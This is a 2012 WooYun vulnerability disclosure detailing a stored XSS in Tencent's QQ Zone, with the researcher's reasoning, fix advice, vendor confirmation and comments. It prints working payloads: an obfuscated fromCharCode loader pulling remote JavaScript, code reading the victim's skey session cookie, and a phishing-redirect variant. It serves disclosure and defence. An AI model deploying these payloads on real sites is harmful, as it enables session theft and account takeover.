当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-06103

漏洞标题:QQ空间存储型XSS漏洞(组合利用)

相关厂商:腾讯

漏洞作者: gainover

提交时间:2012-04-16 10:49

修复时间:2012-05-31 10:49

公开时间:2012-05-31 10:49

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-04-16: 细节已通知厂商并且等待厂商处理中
2012-04-16: 厂商已经确认,细节仅向厂商公开
2012-04-26: 细节向核心白帽子及相关领域专家公开
2012-05-06: 细节向普通白帽子公开
2012-05-16: 细节向实习白帽子公开
2012-05-31: 细节向公众公开

简要描述:

不好意思,俺又来了。
1. QQ空间某处正则混乱,导致恶意构造。
2. QQ空间某文件存在潜在风险
3. 1+2 = 此漏洞
ps:乌云什么时候能支持图片批量上传以及插入显示啊= = ,图片一多了,顿时觉得凌乱了。

详细说明:

1. 一开始的目标是这个 http://b.qzone.qq.com/cgi-bin/custom/modify_custom_window.cgi,这个页面是用来修改QQ空间模块内容的。这里我选择提交的是FLASH模块。 由于此请求,每请求一次都需要输入一个验证码,所以没办法直接在抓包工具里修改并发送。所以最初是用调试工具去修改DOM属性,然后写自定义值来一次一次的试,后来实在觉得太麻烦了,就自己临时写了个小工具。以下测试均用此工具进行,如下,


2. 开始试了此请求的几个参数(这里的参数是指qzml所发送的xml里的若干属性,例如width, height ,wmode etc ..),都被过滤了, 后来懒么,就把能写入内容的都改成了 '\/<>..,结果侧漏了。。
测试的qzml请求参数大概是这样:encodeURIComponent('<qz:title type="flash" moduleborder="true">xxx</qz:title><div><qz:swf swfsrc="http://ctc.qzs.qq.com/ac/c.gif.swf" width="\'\/<>" height="\'\/<>" loop="\'\/<>" waitforclick="\'\/<>" wmode="\'\/<>"/></div>'.replace(/\s/g,"+")).replace(/%2B/g,"+");
侧漏效果大概如下:(反正是类似这个效果,懒的回去抓图了。)


3. 开始分析侧漏原因。 发现height属性把其它属性都吞掉了。 于是其它参数复原,单个测试height,在 height里加入单引号时, 服务器端的正则貌似就凌乱了。 同样有此现象的还有 swfsrc 。
因为服务器那边是怎么匹配的,不清楚, 于是就开始各种构造测试,看服务器端输出。
反正测试了挺久。 具体就不详述。 因为服务器端输出的embed标签里,总是带着 allowscriptaccess="never",导致我们调用的FLASH来执行脚本,所以最终目的,就是想用height来屏蔽掉 allowscriptaccess="never" 。
测试过程中,出现了以下几种阻碍。
3A. allowscriptaccess="never" 成功被我们的 height 吞掉, 但是src属性没了。服务器端输出如下代码:
<div style="height: 142px;" id="cst_flash"><embed id="flash" height=' src=http://ctc.qzs.qq.com/ac/c.gif.swf autostart="false" loop="true" invokeurls="false" allownetworking="all" allowscriptaccess="never" wmode="' type="application/x-shockwave-flash" width="'" src="" invokeurls="false" scalemode="noScale" allowscriptaccess='always"' embed="embed" menu="false"></div>
3B. 自己添加了 src 属性, 但是发现服务器端又自己加上了 allowscriptaccess="never" 。。纠结了。服务器端输出如下代码:
<div style="height: 142px;" id="cst_flash"><embed id="flash" height="/<> src=http://ctc.qzs.qq.com/ac/c.gif.swf" width='&amp;"34;src = http ' src="/c.swf" allowscriptaccess="never" allownetworking="internal" invokeurls="false" autostart="true" menu="false"> autostart="false" loop="true" invokeurls="false" allownetworking="all" allowscriptaccess="never" wmode="opaque" type="application/x-shockwave-flash" scaleMode="noScale" &gt;</div>
4. 对于各种无厘头,有时候还是要靠运气。 在3B的代码基础上,偶然发现,如果src属性里加了\',就不会出现问题。 所以我们构造src地址为 /c.swf?1=\'\'\', 这样就不会出现 allowscriptaccess参数了。
5. 但是问题接着来了,大家都知道, allowscriptaccess 默认是 sameDomain的,哪里去找同域下的FLASH啊。 巧合的是,还真有一个可以用的。 在抓包QQ空间的时候,瞥见这么一个FLASH,
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange
我一瞧, 后面这个 QZONE.frontPageAccessory.zoomDetect.onZoomChange 不就是个JS函数么。 于是试了一下。
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=alert
果然可以弹出啊。 这样看来,我们可以利用下。 不过这个 ctc.qzs.qq.com 和 模块的 ctc.qzonestyle.gtimg.cn 还是不是一个域啊, 但是运气好,恰好, 这2个域名,貌似资源文件是一样的,或者有部分是一样的? ctc.qzonestyle.gtimg.cn 下面也有该FLASH文件。 如下:
http://ctc.qzonestyle.gtimg.cn/qzone/v6/accessory/plugin/zoom.swf?onchange=alert
6. 所以,我们最终可以构造出FLASH的src为
/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1=\'\'\'\'
其中,前面是FLASH地址, onchange参数调用我们自己函数, 1=\'\'\'\' 是为了屏蔽掉 allowscriptaccess="never"
7. 上面这个地址我们简写为 {SWFURL}, 它是位于 height属性里的,如下
height="&quot;\'/\< src={SWFURL} style=width:/ >"
8. = = 写不下去了。。 直接上最后的测试代码。 有点乱。。有些是测试残留,没实际意义,比如里的 &&#34;34; 这种。。
"qzml":encodeURIComponent('<qz:title type="flash" moduleborder="true">xxx</qz:title><div><qz:swf swfsrc="http://ctc.qzs.qq.com/ac/c.gif.swf\' ALLOWSCRIPTACCESS autostart=true\'\&#x22;\u0009src\u0013=/c.swf / < >" width="&&#34;34;src = http " height="&quot;\'/\< src=/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,116,111,111,108,109,97,111,46,99,111,109,47,116,111,111,108,47,113,113,109,97,105,108,46,106,115);document.body.appendChild(s);}&1=\'\'\'\' style=width:/ >" loop="true" waitforclick="true" wmode=""/></div>'.replace(/\s/g,"+")).replace(/%2B/g,"+")
9. 上面代码会调用我自己的网站的JS。 在调用JS这一步,
目测 IE 应该是通杀吧? IE6没试过。 vista+IE7, win7+IE8,9 是可以的。
Chrome 也是可以的, ff 下蛋疼了,需要给加上 type="application/x-shockwave-flash" 才行, 没去弄,这个属性应该也是可以加的上的。
10. 到这里, 可以alert, 可以跳转。
IE下的alert


Chrome下的跳转


11. 但是我们亲爱的cookies 没办法弹出来啊。
原因是,如前所述,模块的域是 ctc.qzonestyle.gtimg.cn ,
而空间的域是 qq.com ,没有办法跨域获取cookies。
不过好在,QQ空间开发人员为我们准备好了这一功能, 原理就是在当前页中,嵌入一个和父窗口同域的iframe页面,来进行通讯。
我们直接调用 QQ空间开发人员写好的库,来获取cookies,代码如下:
QZONE.Cross.Client.getInstance().sendInvoke('QZFL.cookie.get', 'skey',function(str){
alert("您的skey是:"+str);
});
效果如下:


需要说明的是: 获取cookies这一步,IE下有效, chrome 貌似错误了,粗略看了下,对于跨域请求,Qzone开发人员针对HTML5和普通的采用的是不同的方案,在chrome下莫名的悲剧了。。 我只是调用了你们开发人员写的东西, = = 悲剧别找我,哈哈

漏洞证明:

见详细说明里的图。

修复方案:

1. 服务器端在从提交过去的qzml这段XML里获取FLASH的属性时,正则写错了? 只是猜测。
2. 目测服务器端验证qzml是否合法的正则不够好, 像 width, height 这种参数,直接 \d{m,n}就可以吧。 貌似 width ,height 属性里什么东西都可以写啊。 只在客户端限制width,height输入框长度为3,没什么实际作用的。。其它属性也一样,什么wmode只需要 true|false 即可。
3. 这个 http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=function(){location='钓鱼网站'} 单独就是一个漏洞。
http://ctc.qzs.qq.com/qzone/v6/accessory/plugin/zoom.swf?onchange=QZONE.frontPageAccessory.zoomDetect.onZoomChange 这个被利用的flash文件需修改一下。 在FLASH限制一下 onchange 参数的值。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-04-16 14:58

厂商回复:

非常感谢您的报告,分析非常专业,我们非常欢迎类似的带有详细分析和思考过程的漏洞。

最新状态:

暂无


漏洞评价:

评论

  1. 2012-04-16 11:05 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    T T .. 更正下正文修复方案里的, wmode 是 transparent|opaque , 被代码里的 loop="false" autostart="true" 之类的弄凌乱了。

  2. 2012-04-16 12:06 | 歌颂 ( 实习白帽子 | Rank:36 漏洞数:5 | #1024)

    大牛。。mark

  3. 2012-04-16 13:01 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @xsser 亲,加批量上图吧。的确很麻烦。

  4. 2012-04-16 19:19 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    mk

  5. 2012-04-18 21:07 | 啤酒 ( 实习白帽子 | Rank:62 漏洞数:8 | 道不同.喝酒结盟)

    正则混乱的一般都是大洞.mk坐等细节

  6. 2012-05-31 17:05 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    强贴留名,那个swf竟然可以直接就接js代码了哦

  7. 2012-05-31 17:28 | pfdz ( 实习白帽子 | Rank:99 漏洞数:13 | Stay hungry. Stay foolish.)

    @xsser 搞一个收藏功能呗,以后想看自己觉得是好文章的都不要那么麻烦去找了。

  8. 2012-05-31 17:33 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @pfdz 你个勺,关注功能不就是收藏么?

  9. 2012-06-01 09:02 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    @xsser 有一点一直没改,我提交的东东,没审核的,我自己也没办法看内容了……有trace也没用啊……

  10. 2013-05-05 22:22 | AntBean ( 路人 | Rank:6 漏洞数:2 | 01d day)

    洞主不是人。。。